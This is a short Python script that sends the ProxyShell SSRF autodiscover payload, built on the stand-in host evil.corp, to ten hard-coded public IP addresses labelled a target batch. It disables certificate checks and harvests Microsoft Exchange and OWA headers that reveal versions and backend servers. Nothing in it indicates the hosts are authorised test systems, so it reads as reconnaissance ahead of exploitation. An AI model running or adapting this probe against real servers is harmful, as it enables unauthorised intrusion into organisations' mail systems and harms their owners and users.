#!/usr/bin/env python3
# Lightweight fingerprint probe for ProxyShell batch (10 targets).
import sys, json, concurrent.futures as cf
import requests
requests.packages.urllib3.disable_warnings()

TARGETS = [
 "190.33.200.195","195.39.167.187","196.1.196.107","197.159.135.50",
 "202.1.204.238","213.6.54.59","217.21.208.78","217.219.70.75",
 "219.118.178.12","222.106.204.88",
]

AD = "/autodiscover/autodiscover.json?@evil.corp/ews/exchange.asmx?&Email=autodiscover/autodiscover.json%3F@evil.corp"

def probe(ip):
    out = {"ip": ip}
    try:
        r = requests.get(f"https://{ip}{AD}", verify=False, timeout=20, allow_redirects=False)
        h = r.headers
        out["status"] = r.status_code
        out["server"] = h.get("Server")
        out["owa_ver"] = h.get("X-OWA-Version")
        out["feserver"] = h.get("X-FEServer")
        out["betarget"] = h.get("X-CalculatedBETarget")
        out["diag"] = h.get("X-DiagInfo")
        out["auth"] = h.get("WWW-Authenticate")
        out["body_len"] = len(r.content)
    except Exception as e:
        out["error"] = f"{type(e).__name__}: {str(e)[:120]}"
    # OWA logon for os/iis hints
    try:
        r2 = requests.get(f"https://{ip}/owa/auth/logon.aspx", verify=False, timeout=20)
        out["owa_status"] = r2.status_code
        out["owa_server"] = r2.headers.get("Server")
        out["owa_ver2"] = r2.headers.get("X-OWA-Version")
    except Exception as e:
        out["owa_error"] = f"{type(e).__name__}: {str(e)[:80]}"
    return out

if __name__ == "__main__":
    res = []
    with cf.ThreadPoolExecutor(max_workers=10) as ex:
        for r in ex.map(probe, TARGETS):
            res.append(r)
            print(json.dumps(r, ensure_ascii=False), flush=True)